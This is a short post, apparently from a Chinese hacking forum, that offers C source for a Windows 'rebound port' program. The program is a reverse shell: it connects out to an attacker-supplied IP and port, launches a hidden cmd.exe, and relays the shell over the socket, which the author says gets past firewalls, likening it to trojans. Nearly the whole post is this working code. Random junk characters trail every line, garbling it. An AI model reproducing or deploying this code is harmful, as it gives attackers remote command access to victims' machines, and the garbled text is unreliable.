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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pXQ$n:e  
L1k  
/* ============================== tmoclK-  
Rebound port in Windows NT ?a, `{1m0\  
By wind,2006/7 xjxX4_  
===============================*/ Om7 '_}  
#include  bFA lC  
#include y~t e!C  
"f3mi[  
#pragma comment(lib,"wsock32.lib") (yT&&_zY4  
h{~GzrL*  
void OutputShell(); NN:zQ_RT  
SOCKET sClient; D 7thLqA  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ei]Q<vT6  
VJr~h "[  
void main(int argc,char **argv) wB[ JFy"E  
{ "K|':3n|  
WSADATA stWsaData; Bbb":c6w0  
int nRet; :$X dR:f}}  
SOCKADDR_IN stSaiClient,stSaiServer; Kp;<z<  
\\oa[nvL~  
if(argc != 3) nhm#_3!6A  
{ fpzEh}:H\  
printf("Useage:\n\rRebound DestIP DestPort\n"); (YPG4:[  
return; ,&O&h2=  
} 51AA,"2[_  
//$^~} wt  
WSAStartup(MAKEWORD(2,2),&stWsaData); w 17{2']  
"yU<X\n i  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X2np.9hie  
/bC@^Y&}  
stSaiClient.sin_family = AF_INET; VqOTrB1w/  
stSaiClient.sin_port = htons(0); .v=n-k7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "x:-#2+h  
oq>jCOVh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :Xx7':5  
{ -=u9>S)!c  
printf("Bind Socket Failed!\n"); o/RGzPR  
return; ^#w9!I{4.  
} S!R (ae^}  
`X =[ m>  
stSaiServer.sin_family = AF_INET; +).=}.k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >k}Kf1I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g'-hSV/@}@  
tM:$H6m/(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S =sL:FC  
{ dleLX%P  
printf("Connect Error!"); v,3 }YDu  
return; %3K'[2F  
} ?IO3w{fmH  
OutputShell(); >;xkiO>Y  
} !0X"^VB  
I|/|\  
void OutputShell() eNFA.*p<  
{ 85FzIX-F%  
char szBuff[1024]; Sn;q:e3i{A  
SECURITY_ATTRIBUTES stSecurityAttributes; nu16L$ ]  
OSVERSIONINFO stOsversionInfo; BMU#pK;P]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KWw?W1H  
STARTUPINFO stStartupInfo; jlD3SF~2  
char *szShell; r)G)i;;~*  
PROCESS_INFORMATION stProcessInformation; gi? wf  
unsigned long lBytesRead; |Y+[_D}  
;O .;i,#Z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =NRiro  
Tkh?F5l  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q6 4bP4K  
stSecurityAttributes.lpSecurityDescriptor = 0; bh5C  
stSecurityAttributes.bInheritHandle = TRUE;  <j_  
gX5.u9%C\  
# o\&G@e}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bU4\Yu   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0}Q d  
fAT M?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _oU~S$hO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WD 7T&i  
stStartupInfo.wShowWindow = SW_HIDE; ab_EH}j1\q  
stStartupInfo.hStdInput = hReadPipe; &e4EZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ev yA#~o  
Xpmi(~n  
GetVersionEx(&stOsversionInfo); pD6a+B\;k  
x Sv@K5"8!  
switch(stOsversionInfo.dwPlatformId) ':T"nORC  
{ Hg[AulNna  
case 1: E{B40E~4  
szShell = "command.com"; oJ 0 #U  
break; )x&>Cf<,  
default: ~0{F,R.$  
szShell = "cmd.exe"; `?(9Bl  
break; `]l[p+DO  
} _M[T8"e(  
k/%n7 ;1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h{VGh kU9f  
Rd+ `b  
send(sClient,szMsg,77,0); !ma'*X  
while(1) 2{-'`l fM%  
{ !~f!O"n)3r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MSS0Sx<f  
if(lBytesRead) TSP#.QY  
{ |H-zm&h>'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0hju@&Aa  
send(sClient,szBuff,lBytesRead,0); ^:m7Qd?Z[  
} ^@xn3zJ  
else (fnp\j3w  
{ 7cT ~u  
lBytesRead=recv(sClient,szBuff,1024,0); E#+|.0*!s  
if(lBytesRead<=0) break; ;kF+V*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Lc13PTz>>g  
} Nc[u?-  
} {rZ )!  
h-RL`X  
return; t>(}LV.  
}
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